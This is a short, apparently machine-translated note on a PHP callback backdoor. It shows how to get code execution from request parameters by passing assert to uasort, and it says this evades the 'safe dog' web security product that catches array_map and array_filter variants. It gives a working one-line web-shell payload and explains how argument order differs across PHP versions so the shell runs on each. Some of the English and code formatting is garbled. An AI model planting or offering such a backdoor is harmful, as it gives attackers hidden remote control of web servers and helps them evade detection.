A function that has a callback function parameter in PHP is possible as a backdoor
such as Array_map, the callback function for array operations such as Array_filter, but will be killed under the safe dog
But uasort such functions will not be killed.
php5.4.8 after the Assert
After 5.4.8, the Assert function is changed from one parameter to two parameters. An optional parameter descrition is added:
| 5.4.8 adds the parameter description. Description is now also available as a fourth parameter to the callback function in the Assert_callback mode. |
Then you can use a callback function with two parameters, such as
<?php$e = $_request[' E ']; $arr = Array ($_request[' pass '), ' te '); Uasort ($arr, $e);
An error will be given in the php5.3 environment, because the 5.3 assert has only one parameter.
You can do it after php5.4.
The order of the passed arguments here also varies, excluding PHP7 before PHP7, and the first parameter of the array is the second parameter of the callback function.
At PHP7 and later, the first parameter of the array is the first parameter of the callback function.
Like what:
function Mysort ($var _1, $var _2) {echo "var_1:". $var _1. " <br> "; echo" var_2: ". $var _2." <br> ";} $arr = Array ("1", "2"); Uasort ($arr, ' mysort ');
Environmental output prior to PHP7:
Var_1:2
Var_2:1
Environment output in PHP7 and beyond:
Var_1:1
Var_2:2
PHP Callback Backdoor Note